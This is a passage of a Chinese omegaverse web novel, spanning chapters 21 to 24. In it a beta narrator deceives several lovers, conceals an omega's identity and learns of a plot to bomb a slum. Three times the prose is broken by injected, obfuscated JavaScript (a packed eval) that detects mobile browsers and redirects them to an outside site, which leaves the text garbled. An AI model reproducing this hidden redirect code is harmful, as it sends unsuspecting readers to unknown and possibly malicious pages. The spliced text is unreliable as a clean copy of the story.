其实是那个时候光顾着看奥维拉了,没注意到克斯蒂哈哈哈。 我说完一大串话,才打算给他一点反应的时间。 房间内,白色的球形挂灯悬挂在空中,散发的光芒勉强将屋子着凉。 对面的omega男性身上只挂着一件白色的衬衫,原本用于固定衬衫的夹子早在之前的动作中崩断了,可怜兮兮地躺在他的大腿下面。 刚清醒那会,他是没多大情绪波动了。 我也不指望他有多大的情绪波动,要知道一个上行城的大法官肯定什么奇葩都看过。他还是个omega,对类似的事件肯定早有预设。 但这会儿他的胸膛竟然开始了无规律的起伏,像是收到了某种没遇到过得冲击,虽然努力让自己恢复平静,却始终不成功。 瞧这一副没出息的样子,我突然想起来奥维拉骂人的话。 嗯……不会吧不会吧,真是个没人爱所以看别人幸福就会破防的可怜虫? 哈哈哈哈好好笑,让我偷偷笑两下。 “白无用。”他突然开口唤了一声我的名字。 我没答应,继续在心底嘲笑他。 “白无用!” 我这才不情不愿回应,“在的,莱文,我一直在。” 莱文第一次尝试软下来,用着极为别扭的语气对我说:“我没那么想。” 我说了那么一大堆,你就这? 算了,早知道天龙人是什么狗脾气。 但我的人设就是个容易相信人的老好人,他都服软了,我也只能选择原谅。 以后我从其他地方讨回来。 重新回到床边,我拿起地上的衣服给他套上。 就这样保持安静地整理好一切,我俩安静地离开了房间。 莱文可能是没打算再提情人的事情了。 我觉得不行。 虽然从一开始我没打算和你乱搞,但这搞都搞了,我不拿点好处我不就白打工了? “有人来接你吗?”我问。 莱文没有立刻回答,刻意地避开我的视线,说:“嗯,等会就来。” 我和他保持足足两米的距离,谁都没看谁,就这样让尴尬凝聚在空气中。 “莱文……” 莱文微微侧眸。 我欲言又止,嘴巴开开合合,好几次想要开口却没说话,将他的心脏提起来又放下。 终于在反复好几次后,我才用极小却能让他听见的声音沙哑开口。 “莱文,不是什么人都能让我那么做的。” 我很挑剔的,长得不好看我不吃。 omega男性浑身一震,到底什么都没说。 因为来接人的车到了。 我大老远看就觉得这车好眼熟,肯定是坐过一两次。 等距离近了,我冷汗直冒! 透你大爸的!是克斯蒂的车啊啊啊! 住在过渡区里且认识莱文的还能有谁啊,当然是只有克斯蒂啊! 我该怎么办!啊啊啊啊! 我现在身上肯定是信息素腌入味了,我该怎么办! 该死的莱文你快想想办法啊,你也不想自己omega的身份被别人发现吧? “莱文。”我有些紧张地开口,“克斯蒂能闻出你的信息素属于omega吗?” 莱文先是一愣,想起来我的人设了,于是扯着唇角冷笑,“怎么?担心被简发现?你难道真是他的……” “莱文!”我发火打断他,“你为什么我就不能信任我?你是这样,奥维拉也……” 我停顿一会,而后失望地略过奥维拉,有气无力地解释说:“我是beta,我不知道你们a和o是怎么辨别易感期的。你刚刚才得到安抚,信息素一定溢出来了。要是克斯蒂闻到了,一定会怀疑你。” “……抑制贴。”莱文紧绷了面颊说道,“车座的夹层里有,我是平时用来抑制信息素的东西。” 我想起来了,发现莱文是omega那天就在他后脖子摸到了这玩意。 于是我立刻钻进了报废的车内寻找,没一会就找到了,把东西递给他。 飞快看一眼轿车和这里的距离,我转身进屋,拿出那一瓶没有使用的alpha抑制剂对准了桌角,然后狠狠一敲。 我不知道有没有用,但总得试一试。 液体罐应声破碎,迸溅出许多冰冷的液体。 我用手指抠出液体,然后把我的脖子等各处被莱文亲过的地方全部抹上,顺便多给自己弄几道细碎的小伤口,确保这些伤口只有近距离观察才能看清楚。 等再次出来时,我已经把破烂的工作服外套穿上了。 克斯蒂刚好到达。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852161|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>克斯蒂是从公司赶过来的,还穿着精致得体的衣服。 昨天我给他脱衣服的时候,我还看见了摆放在茶几上的时尚杂志。 透的,一件白色的衬衫就要足足五万! 还是畅销不限量款! “无用,斯科特,你们可真狼狈。”克斯蒂首先走到我的面前。 和我靠近的一瞬,他的鼻尖敏感地动了动,微表情悄然变了。 他用微妙的眼神在我和莱文之间徘徊,有什么东西蓄势待发。 “麻烦你了。”莱文说道。 比起我,莱文可是一点心虚的样子都没有啊,不知道的还以为他才是那个偷情惯犯。 这大概是天赋吧,o装a确实需要很强大的心理素质。 “先上车吧。”克斯蒂维持虚假和善的微笑。 我身为beta,还是他们之中身份的底层,自觉打开前排的车门打算进去。 可克斯蒂的手拍在了我的肩膀上。 “无用,你和我坐在一起吧。”容貌秀气的omega笑容温柔说道,“斯科特是alpha,他刚才那么危险,和我坐在一起不合适。” 我立刻懊恼地点头,“抱歉,我没意识到,以后我会注意的。” 于是我和克斯蒂顺理成章地坐在了后排。 而莱文则是紧绷着一张臭脸,一言不发坐在前座。 车辆行驶的过程中,大家都没有说话。 克斯蒂距离我很近,大腿几乎擦碰到一起。 他放在身侧的手动了动,用小拇指勾住了我的大腿裤子,然后一下又一下地摩擦。 有些地方擦到了我弄出来的细碎小伤口,偏偏他力度适中还有节奏,搞得我头皮发麻。 下一秒,他就重重的按下去。 好痛啊啊啊!你要干什么! 等我失血过多去死你就满意了是吧! 回到公寓后,克斯蒂让莱文去茶室等待,然后借口让我帮忙搬东西把我拉出去了。 刚刚出茶室门,克斯蒂表情一边冷冰冰盯着我,“白无用,你身上的信息素味道很浓郁呢。” 他的目光一寸寸地打量我,手指隔着衣服的外套然后点出来他闻到信息素的地方。 “这里有。”指着胸口。 “这里也有。”轮到腹部。 “还有这里。”手指又快速的转移到了我的脖颈处。 我总感觉那不是手指,是手枪,下一秒就把我原地射杀。 克斯蒂的眼神越来越冷,“无用,你该想想要怎么向我解释。为什么你出去一趟,身上就沾了那么多的信息素。” 啊啊啊啊! 为什么抑制剂一点用都没有啊! 你们堂堂alpha抑制剂竟然连omega的信息素都抑制不了吗? 研发抑制剂的都是一群废物,废物! 我沉默地闭嘴,表面上看起来云淡风轻,实际上脑子高速运转几乎爆炸! 死嘴快想想怎么狡辩! 该死的莱文!该死的昂撒!该死的奥维拉!该死的克斯蒂! 你们这几个人都想要干什么啊! 我真的长教训了!我回头一定要把没有任何有用书籍的图书馆烧掉! 我!一定要学会不同性别的人体结构和信息素理论基础! 22.第 22 章 站在走廊里,我和克斯蒂互相对望。 omega的眼神很冷,好像下一秒就要把我枪毙了。 哈哈哈我懂我懂,omega嘛,对那种事情都很看重的,尤其是第一次的床伴对象,或多或少都有些敏感…… 呵呵,我要死了。 “还没有想好怎么向我解释么?”克斯蒂的声音幽幽传到我的耳朵里,像是催命符一样。 我的大脑飞速运转,疯狂分析克斯蒂此时的话语信息量。 想到某种缺失的信息,我吞一口唾沫,同时决定赌一把。 于是我当着他的面,从我的外套口袋里拿出那被我敲碎的半罐alpha抑制剂,对克斯蒂说:“这个。” 克斯蒂蹙眉,“alpha抑制剂,你想说什么?” 我用一种不被信任的难过和委屈眼神看着他,然后脱下了外套,将身上各种细小的伤痕露给他看。 目光接触到我身上的细碎伤口,克斯蒂的眼神变了变,想要软下来,却又撑起一点脾气,“白无用,我给你最后一次解释的机会。” “克斯蒂,我们中途遇到了叛乱党。” “我知道。”克斯蒂冷哼。 “他们往车里丢了个东西,我不知道那是什么东西,但莱文一下子就变得很奇怪。”我充分发挥beta这一性别的优势,将没怎么了解性别的文盲形象贯彻到底,“我不知道该怎么办,司机先生也死了,我只能,只能把车开到过渡区,向军人要了抑制剂。” 后面的话我没说,就让克斯蒂自己去脑补。 这个omega男性的可爱之处就在于他喜欢脑补一些虚幻的事情,无论是好或坏,总是爱永无止境地寻找能够说服自己的理由。 克斯蒂,确实是个让人愉悦的omega。 “真可怜。”克斯蒂呢喃一句,眼底最后的冰冷都融化成为缠绵的水。 他带有怜悯和安抚性质地摸一摸我的脸,指间温柔的蹭过我手臂上的伤口,“莱文挣扎的力气很大吗?” 我没回答,就是沉默地抓着抑制剂的瓶子。 只剩下半截的药瓶很小,还没有我的手掌直径长。可因为它是破碎的,所以边边角角很锋利,在我刚才紧张时甚至让某些小碎片扎进了我的手掌心。 手掌心有点血肉模糊,又疼又痒。 “你去我的卧室待着吧,我和莱文聊一聊,就给你处理伤口。”克斯蒂说道。 我终于抿开一点点苍白的笑容,“嗯,我等你,克斯蒂。” 看着他进入茶室,我的表情才放松下来。 无法正面回答问题,那就把问题转移,将莱文是omega的这个烫手山芋甩给克斯蒂,反而更好地起到保密作用。 我不在乎克斯蒂此前有没有闻过莱文的信息素,也不在乎莱文要怎么应对克斯蒂识破他性别后该怎么解释和隐藏。 在他们两人的眼中,我只不过是个对信息素不敏感且感情保守笨拙的beta。我做了一个交心朋友应该做的事情,其他的完全不知道。 哪怕莱文事后意识到他性别秘密暴露有我一部分的原因在,也不能拿我怎么样。 他的把柄已经被送出去了,为了确保秘密不会进一步地扩散出去,他只能忍着。 解决了心头大患,我又一次感觉到心情舒坦。 来到克斯蒂的卧室,我随手把外套丢在了地上,走到阳台边往外看。 我又看见了白灯湾巨大的光束。 锃光瓦亮的圆柱形灯光,直冲云霄,无论刮风下雨都□□地立在那里。 我问过在克亚区的白无垠,那一束光的作用是什么。 白无垠对此的回答很官方,无非就是用来彰显权利和政治中心,让人一抬头就能知道这个世界真正的统治者到底是谁。 白灯湾,白灯湾,白灯湾…… 我莫名其妙笑了一下,下一秒,笑容就顿住了。 我在无人区挖的矿石有一个通俗易懂的名字——白矿石。 维持这一束光的能源,来自于白矿石吗? 一股莫名的焦虑感朝我涌来,而我只能面无表情地看着远方一动不动。 我没有思考太长时间,克斯蒂进入了卧室。 他拿着医药箱,拍一拍沙发让我坐下来。 替我处理伤口时,他的动作很温柔细致,连一些我无意识的伤口都注意到了。 包上纱布后,克斯蒂含着某种黏糊的情绪在我的手掌心上扫了一下,说:“真可惜,无用,这段时间你得注意了。” 我有点汗流浃背,因为我听懂他在说什么,尤其是他那瘙痒一样的小手指。 “克斯蒂……”我笨拙地移开视线,“拜托了,不要说这种话。” 而且这玩意又不是我说注意就注意的!你们一个个上赶着,我还能坐怀不乱吗? 没看见我手臂的伤到现在都没好嘛! 克斯蒂笑了笑,弯下腰在纱布上亲了亲。 白色柔软的发丝扫过我的大腿,又是一阵痒意。 旖旎的氛围没有还需太久,奥维拉又登门拜访了。 鬼知道我在茶室内看见三个人面带假笑一起喝茶的画面有多难绷,生怕他们打起来。 打没关系,别影响我啊! 好在奥维拉这个神经病长了点脑子,知道他和我的关系不适合在此时闹出来,于是始终保持理智,只是将加派警员搜查叛乱党的事情简单交代了一番。 “这段时间,大家应该都能安全些了。”等他们终于聊完,我适时地插一句嘴,表示我在很认真听他们讲话。 嗯,虽然我说的是一句废话。 “身为警督,确实应该好好排查贫民窟的情况了。”莱文对着奥维拉扎了一句。 奥维拉压根不在乎,上半身保持优雅喝茶的动作,下半身两条腿不断蹭我。 不仅他蹭我,坐我旁边的克斯蒂也蹭我。 太好了,你们干脆把我一分为二吧。 我喝茶喝得很烦,于是用单纯疑惑的表情拉开凳子,然后往下看,“有什么东西掉了吗?” 两人终于不动了。 我真不想待在这,我总感觉今晚我没法好好睡觉。 找了个明天要去教堂礼拜的借口,我拿上临时通行证离开了过渡区。 从21日开始,我的脑子就没法消停,到现在一个月即将结束,我才感觉自己的大脑得到了休息。 蹲在路边,我长长地呼出一口气,将这段时间所有的郁闷都缓缓发泄出来。 “你都来了,为什么不进去?”beta男性的声音从我身后传来。 我有气无力回答,“就是路过。” 此时的我很想大脑放空,想一点不需要思考的东西。比如怎么让阿丽把图书馆烧了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865816|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你上次也说是路过。” 我两眼立刻睁开,目光炯炯看着他,“这能怪我吗?我就进来看看,谁知道你躺手术台上睡觉?你睡觉就算了,怎么还裸睡?” 被我这样直白地说出来,beta男性先是瞪大了眼,然后面颊微红不轻不重地捶了一下我的肩膀,“说的什么话,本来就是你的错。” “哦。” 反正来都来了,我就干脆进去。 却不想刚进门,就和坐在那的alpha男性撞上视线。 我见到他下意识来了一句,“原来你还没死啊。” alpha男性的表情一下子就哽住了,有些咬牙切齿,“不用你管。” “你们认识?”祁圆问道。 “有过那么几面之缘。”我含糊回答,“你们呢?” “他今天才来,说是朋友推荐的。”祁圆从柜子里翻出纱布,对那边的alpha男性随意说:“我处理还是你自己处理?” “我自己,我又不是beta。” 祁圆对alpha男性翻了个白眼,“alpha真了不起~真有本事出门左拐自己去死啊,别在我这装。” 再次被beta呛声,alpha男性脸都憋红了,凶狠狠地往我这边瞪过来,“这医生是你朋友?” 我没搭理他,在祁圆的柜子里找东西吃。 祁圆是贫民窟内为数不多的讲点卫生的医生,有些病人为了和他打好关系会送一些新鲜的食物过来。 没一会,我就找到保鲜膜包起来的生菜。 生菜好啊,生菜有营养,咬起来脆脆的。 祁圆把东西整理好,瞥一眼alpha男性后,就来到我身边暗示性地用下巴碰了碰我的肩膀,小声说:“有新的东西,你要看吗?” “不看,我没兴致。”我回答。 “珍珠也没兴致?只要你能拿出来,那就是你的。”他靠得更近了,潮湿的气息不要命地在我耳垂的地方撒,让我一下子就头皮发麻了。 嘶—— 我一本正经对他说:“你别这样,再这样我可就要拔你的枪了啊。” 身边的beta男性勾唇一笑,抓起我没有包纱布的手放在唇角舔了舔,眼神拉丝地要把我的馋虫勾出来,“随便你怎么拔,反正手术台够结实。” 他说完,人就往手术室的方向走了。 烧,太烧了,怎么能有这么烧的人。 我深吸一口气,把生菜一放就摩拳擦掌准备去做手术取珍珠。 “你,你不是警督的情人吗?”alpha男性张口就是不讨喜的垃圾话。 我头也没回,“做警督情人都说我是被迫的!难不成你还想限制我的情感自由吗?” alpha男性闻言,不知怎么地嘴角一撇,讥讽的表情救出来了,“beta总有那么多借口。。” 我一听就感觉哪里不对经,才扭头去看他。 alpha男性坐在椅子上,上半身还包裹着纱布,应该是上次还没有恢复的伤口。 胸前的肌肉随着他越来越不规律的呼吸起起伏伏,几乎从纱布挤出来,像是某种成型的巧克力味牛奶。 果然无论看多少次,这个alpha男都劲劲的。 “你看什么!”alpha男被我看得破防,估计是想到被我揍到肚子上的那几拳,一下子就紧绷住身体。 23.第 23 章 “你觉得我在看什么?”我反问他。 alpha男又是一副屈辱的表情,那起起伏伏的巧克力牛奶互相挤压,几乎挤出绷带。 多狼狈啊,我这个刚正不阿的老实人怎么能不管呢? 于是我走上前在他面前蹲下,从他手中夺过绷带。 “你想做什么?”他满脸警惕往后缩,“别以为你帮过我们送过一次东西,你就可以……” 我手脚麻利地帮他把绷带缠上去,把那呼之欲出的巧克力牛奶包上包装。 “你为什么总是对我怀有偏见?”我眼神真挚地问他,“我以为我们是朋友。” “你明明是个为了理想和目标奋不顾身的人,为什么总要把自己伪装成生人勿近的模样?” alpha男被我的反问唬的一愣一愣,琥珀色的漂亮眼睛里写满了惊愣。 他大概是想不明白我这等好色之辈为什么没有趁机占他便宜。 没错啊,我是好色,但我这个人吃东西很有原则,那就是不吃霸王餐。 我站起来,语气低落,“在你看来我就是一个随便的人,可你不知道对我们这种底层人来说,能找到一个志同道合互相尊重的伴侣有多么幸运。” 说完我就没再管他,背过手去唉声叹气地进入了手术室。 哎嘿!珍珠我来啦! “怎么那么久?”祁圆坐在手术台上,翘着腿问我。 “和那个alpha说了点事。”我回答他。 “你就和他之前有矛盾?”他继续追问。 看着一颗颗珍珠被我拿出来,他累的气喘吁吁,却还抽空拿眼神瞪我。 “我还想问你呢,那个推荐他来的朋友是谁,从前也没听你说过啊。” 祁圆浑身一抖,整个人软倒下去,缓神好一会才听清楚我问了什么。 我等好一会没听他回答我,于是拍一拍他的腰。 他这才撑起身子在我耳边说了个名字。 听了这个名字,我整个人都麻麻的。 “不是,你们有病吧!就全部逮着贫民窟里薅呗?我还以为教堂真是唯一能让我清净的地方呢!” “切!”祁圆翻白眼,“收你钱的地方能是什么好地方?” “你也收我钱,你更不是好东西。” “白无用我透你爹,我什么时候收你钱了?” 他不提还好,一提我就记起五年前的仇,“你收了我五块二毛!还给我用劣质的纱布,当时我差点嘎巴一下就死了!” 祁圆立刻气得瞪圆眼睛,抬腿就把我踢开然后开始穿裤子,“五块二毛你记五年,白无用你抠死得了!你去找贫民窟其他的Omega睡一觉都不止这点钱!” 我理直气壮反驳,“你和他们能一样吗?他们想从我口袋掏五块二毛还没有呢!” 原本怒气冲冲的beta男性一下子就停止穿裤子的动作,没几秒后面颊通红地扭过来瞪我一眼,“烦死你了。” “哦!”我颇有骨气开始穿衣服。 等出了手术室,我发现alpha男竟然还在这。 他发现我出来后下意识看了眼闹钟,然后吐出一句,“那么快?” 你什么意思啊!你看不起我吃饭的家伙是不是? “临时有事。”我随便找了个借口。 alpha男目光又飘向手术室,没看见祁圆走出来,于是又把视线转回来了。 他用生疏且别扭的语气小声问我:“你刚才什么意思?” “你说什么?”我问。 “就……”他眉头紧紧皱起来,难以启齿地从牙缝里挤出,“你说我……有理想之类的话。” 我恍然大悟! 你们alpha真就那么爱这些呗? “就是字面意思。”我对他展露出一点点的善意。 趁着祁圆还没出来,我对他伸出手说:“时间也不早了,要我送你离开吗?今天西区刚刚经历一场混乱,晚上警察局那边一定会加大力度搜查。” “你怎么知道?” 我没正面回答,而是以一种复杂深沉的眼神看他,然后苦涩一笑说:“我这样的身份,总是会知道一些的。” alpha男表情变了变,一副有点膈应但强忍着的纠结复杂表情。 哈哈哈有些时候看你们这些傻缺表情变来变去也挺好玩的。 我给祁圆留张小纸条,就搀扶着alpha男离开了黑心诊所。 “今晚你能找到安全的地方吗?” “阁新。”他莫名其妙给我两个字。 见我没反应,他就别扭的解释,“我的名字。” 我立刻惊喜笑,“哇,你竟然真把我当朋友,我很高兴。” 阁新的嘴角不受控制上扬了些许,又被他强行压下去,飞快转移注意力似的回答刚开始的问题,“我打算暂时去教堂躲一晚。” 又是教堂,看来他们平时接收信息的地方就是教堂了。 贫民窟当然是有教堂的,甚至有数量可观的信徒。 虽然贫民窟里的人好像都要吃不饱饭了还信仰上帝听起来很抽象,但这事很正常。祈祷又不用给钱,是为数不多可以白嫖的东西,大家闲暇之余幻想一下很正常。 万一那个缺德上帝真听见自己的祈祷然后让自己一夜暴富呢? 我某些时候也会去教堂听里面的神父和修女叽里呱啦一大堆废话,然后拿点东西吃。 天色渐晚,我踩着最后一点余晖把阁新送到了教堂。 教堂建立在贫民窟的正中央,美其名曰让贫民窟的每个人都享受到上帝的福音。 她们当时说话太神神叨叨了,刚刚来到贫民窟没读几本书的我没听懂她们到底想要表达什么。现在回想起来,应该就是让所有人都把钱包送上去。 哈哈哈不过她们估计也看不上贫民窟里小牛马的钱。真正的大头是上面为了洗钱的官员,小牛马只要偶尔的时候出出力就好。 进入教堂,阁新找到了靠近十字架雕像的位置坐下来,我就顺便坐在了他的旁边。 此时教堂内除了我俩没有其他人,安安静静的,光线都很昏暗。 我满脑子想着阿丽组织内的人是怎么通过教堂传递消息的,是什么时候开始传递的。昂撒这几天会不会消停一点,我又要怎么在那三人之间合理安排时间。 “咳咳!”阁新突然咳了一下,企图缓解这尴尬的氛围。 “伤口疼啊?”我问他。 疼也没用,忍着呗。 “没,我没beta那么没用。”阁新开口就是对beta的贬低。 我真无语了,这人满脑子都是性别歧视吗?就因为无人区里没多少beta所以理所当然歧视beta了?你这样下去是要被打的!等我找机会捅你一刀! 他发现我微妙的表情,又开始尴尬了,然后无比生疏地开始找补,“但有些beta不是,还是有点用的。” 说点beta的好话真是难为死你了,干脆闭嘴吧你! “阁新,我知道你不是故意的。”我假装体贴说道,“你能把我当做朋友,说实话我很高兴。经过那一次后,我才发现你们组织的任务那么艰巨。我都不敢想,更困难的任务你们是怎么完成的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878956|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>呵呵我才不在乎,要不是被你半路捅腰子我才懒得管。 阁新的眼眸缩了一瞬,眼底似乎闪过某种情绪。 他把脸转到另一边去,没让我看见表情,但那带有些许动容的话语清晰地传入我的耳朵里。 “也不是……很困难。平时小心注意就好。” “怎么会呢?”我开始游神天外,嘴巴则是本能地敷衍,“你们就是很厉害啊,我就是帮你们送个盒子都历经千辛万苦了,何况你们呢?” “第一次见面的时候伤那么重,差点就死了吧?” “你真了不起,你们组织有你太幸运了。” 花言巧语嘛,张嘴就来的。 图书馆的心灵鸡汤也不是没有用嘛,就暂时不烧它了。 阁新突然把身子转过来正对我,眼睛亮得惊人,“你真这么觉得?” 我则是眉头一皱,双手摁在他的肩膀上,郑重地看着他的眼睛,一字一句说:“对!阁新,你很厉害!” 满意了吧?从beta身上获取情绪价值可把你美到了,你这个满脑子性别歧视的alpha! 得到我的肯定,阁新像是打开了某种开关,那一股子alpha特有的睥睨没有了,跟真正的傻缺似的控制不住笑容。 我觉得他应该是脸红了,但因为皮肤有点黑,所以脸红的样子像是面颊被人打了一拳深红一片。 “你就应该加入我们。”阁新说道。 “这个……有点困难。”我故作失落叹气。 “为什么?你怕死?”阁新皱眉。 我对他扬起苦涩的笑容,“你是不是忘了我现在的身份?我是警督的情人,还有个在克亚区上学的弟弟。我要是不顾危险加入组织,我弟弟该怎么办?” “我死不死无所谓,但我不能放任弟弟不管。” “那就把你弟弟也拉进来,我们组织会保护他。”阁新满脸理所当然。 我透的,没听见我不愿意吗? 我不愿意加入组织!我不想冒险!你个该死的叛乱党,信不信我举报你啊! “不,阁新,我弟弟完全不知情,我不想让他暴露在危险中。”我第二次推脱,“而且他的成绩很好,毕业之后就能找到好工作,他没必要跟着我冒险。” “组织正好需要这样的人才。”阁新听不懂似的不依不饶。 忍不了,这人听不懂人话,我要揍他一拳! 就在我捏紧拳头准备揍人时,我听见教堂外传来奇怪的声音。 我立刻就站起来跑到门口打开门,与熟悉又肥腻的人差点撞上。 他搓着双手,肥胖的五官堆积在一起,两只手搓来搓去,笑着说:“无用啊,好巧,你也来教堂啊?” 我低头看他,他没看我,而是看我身后坐在十字架雕像下方的阁新。 确认是一个alpha男性后,他笑容更猥琐油腻了,对我挤眉弄眼做出“金钱”的手势,说:“无用啊,我刚才可是听得一清二楚。你可真厉害啊,老板和警督都和你关系好啊。” “哎哟,你和那个alpha先生的关系也很亲密?你说我要是……” 之后的话他没说,臃肿的手往我面前送了送,暗示意味相当明显。 我面无表情,一言不发。 偏偏身后那个傻缺还一脸疑惑,重点关注错误,“白无用,警督之外,还有你的老板?” 我干你爹的!重点是这个吗? 还有这个猪头为什么会出现在教堂,谁让这人过来的!昂撒吗? 我真是受够了!这日子一天天的就没安生是吧?你们干脆都去死好了! 24.第 24 章 “无用啊。”猪头经理抬起手就想要拍打我的肩膀,被我侧身躲过。 他也没恼,依旧笑容猥琐又油腻。大概是觉得我不说话是没听懂他的暗示,于是干脆敞开了对我说:“你能当上经理全都是老板赏识你吧?他一个omega,听说没几天就要回上行城了。到时候他一走,肯定要重新找个老板吧?” “哎呀,我知道你现在刚刚升职不久,没有多少钱。要不这样,到时候老板一走,要重新选人上任的时候,你投我一票,怎么样?” 什么怎么样?我只想现在就把你弄死。 非人类物种就不该存在世界上,不然只会徒增烦恼。 我头脑风暴了几秒,终于扯开一丝微笑,对猪头经理说:“经理,你给我几天的时间考虑吧。” 猪头经理面色一变,满脸不悦地撇了眼我身后阁新,说:“行,行,你顾虑多,我给你几天时间考虑。但是啊,你得知道什么对你老说更好。要是我今天不小心说漏嘴……” “我知道。”我打断他,笑得笨拙又老实,“我就是处理一点小事情,等处理好了一定给你回复。平时你总是关照我,我肯定是站你这边的。” “哈哈哈,那就好。”猪头经理终于满意了,迈开小短腿从我的视线中消失。 等人离开,阁新就开始讥讽。 “真是了不起啊,警督强迫你,难不成你公司的老板也强迫你?还是说你们beta都是这样随便的人,只要给点好处,你们就会迫不及待地往上赶?” 这人说话好烦,一张嘴比其他三人都难听,而且把人哄好了还没好处。 我任由阁新在那说垃圾话,满脑子都在思考该怎么应付猪头经理。 我能把他杀了吗?但猪头经理在贫民窟算是有点脸的人物了,要是突然死亡一定会被关注到。克斯蒂这几天又要离开贫民窟,在这个节骨眼人死了很难不让人怀疑是我。到时候就算奥维拉有意包庇我,也很难解释清楚。 毕竟我的外在人设一直都是老实笨拙自尊的人,要是突然沾染上道德污点后续很难搞。 最重要的,是如果猪头经理真是昂撒引过来的,我冒然把人杀了一定会把秘密暴露出来。 昂撒真的想杀掉我吗?如果他真的在暗处观察了我七年,想要杀我的话完全可以大半夜的给我一刀痛快了,没必要弯弯绕绕。 “白无用,你怎么不说话?找不到借口了吗?”旁边的alpha男性还在喋喋不休。 艹!忍不了! 我一拳就捶在这人的肚子上! “唔!” 阁新吃痛捂住肚子,倒在椅子上。他疼得浑身冒冷汗,抬起头惊讶后就是讥讽,“你恼羞成怒了?” 烦死了!这人光长奶不长脑是吧? “阁新!你到底有没有真心把我当做朋友?”我反客为主大声质问,“随便一个人的话你就相信,却不相信我?他是我们公司的经理,平时就喜欢以公谋私克扣我的工资,今天听见我们的对话也不过是趁机讨要好处!” “你身为我的朋友,不仅没有信任我,反而和他一起嘲讽我,你让我太失望了!” 我愤怒,我咆哮,我伤心欲绝! 天,整个贫民窟还有比我更可怜的人吗? 不仅要在三个天龙人之间反复横跳编造一个又一个谎言,我还得小心自己的狗命不被昂撒勾走!现在这个狗屎的alpha男性还要在旁边说没有任何用处的垃圾话。 我真的不能把这人捅死吗? 此时站在巨大十字架雕像下面,我只觉得我的大脑要爆炸,这段时间堆积起来的负面情绪都像即将喷发的火山。 艹你爸的!我真他爸的受够了! 那个该死的昂撒!他到底想要干什么啊! 当初只是摧毁他的腺体还不够,就应该干脆利落地一刀隔断他的脖子! 阁新显然不明白我的愤怒,竟然觉得我是破防之后的恼羞成怒。 于是他从凳子上爬起来,满面怒容地指着我怒骂,“你承认我的理想,我才将你看作朋友!可你也不看看你,就这几次和你见面的时间里你有多花言巧语!” 我靠!为什么突然推翻我之前给你的设定啊!你突然长脑子让我好不习惯! 我这下是真的破防恼羞成怒了,涨红一张脸对他磕磕巴巴说不出话,就只能瞪着他。 “哈!你承认了吧!白无用,你有弟弟,我同情你。你帮我们送东西,我还感激你。”阁新发出冷笑,胸膛剧烈起伏,竟然比我还伤心难过的样子,“他说你还和老板有关系,甚至能用这件事情来威胁你,那就说明有一定的可信度!你要真是无辜,为什么会被他威胁?” 我干!什么逻辑! 虽然确实说对了,但这个逻辑就是不对啊! “阁新!”我打断他的发言,“如果按照你这样的说法,警督用我是叛乱党的言论威胁我,我害怕了,我就是叛乱党?” “你就是我们的同党!” “我他爸的不是!我只是帮你们送了个东西!” 阁新猛然抓住我的衣领,血管从他的脖子往上蔓延到额头,“你他爸的真以为送了东西后就能全身而退?你知不知道最近贫民窟内到底什么情况!你要是没有组织的庇护,到时候整个贫民窟爆炸了你的骨灰炸到天上了都没人给你收尸!” 我的大脑“轰”一下炸开,面色骤变看着他,“你什么意思?什么叫贫民窟爆炸?你们到底他爸的送的什么东西?不是矿石吗?” “是!就是矿石!就因为是矿石,所以上行城那些那群蛀虫才会想着把贫民窟全部都炸了!” 我草!我草!我草! 我平时只是说说我的生活要爆炸,但我没想要真的爆炸! 你们这群贱人到底要干什么! “不,不是说,贫民窟拆迁,建高尔夫球场吗?”我磕磕巴巴问他,脑子里翻出了当时在奥维拉办公桌上看见的文件。 阁新把我甩开,嘴角挂了个皮笑肉不笑的弧度,“哄骗你们呢。” “没有正式一点的理由,能让你们保持安静吗?” “一群人吃饭睡觉的地方都没了,他们就不怕贫民窟暴乱?”我反而追了上去,拽住他的手逼问,“到时候和七年前无人区暴乱一样,造成多少人员伤亡?整个贫民窟十几万人,他们就真的不在乎?” “一群没用的beta,你觉得有什么用?命令下来后,过渡区的军人会在所有出口处都排上警戒线,包括他们自己都守在原地,你指望那群杂种会在乎?” 我冷汗直冒。 简直不敢想,如果我没有搭上奥维拉,没有搭上克斯蒂,没有搭上莱文,我就这样安安分分地在贫民窟内送货,那我的未来会变成什么样子? 我会死吗?跟着那群无知无觉的人一起被炸死? 哈哈哈草他爸的!这个狗屎的世界就应该全部人都去死! 除了我! 我花费了好几秒的时间才冷静下来,松开阁新的手坐回座位。 阁新也意识到自己说了不得了的秘密,于是喘着粗气也坐回座位。 两人就这样相顾无言片刻钟。 “上行城的人为什么要炸毁贫民窟 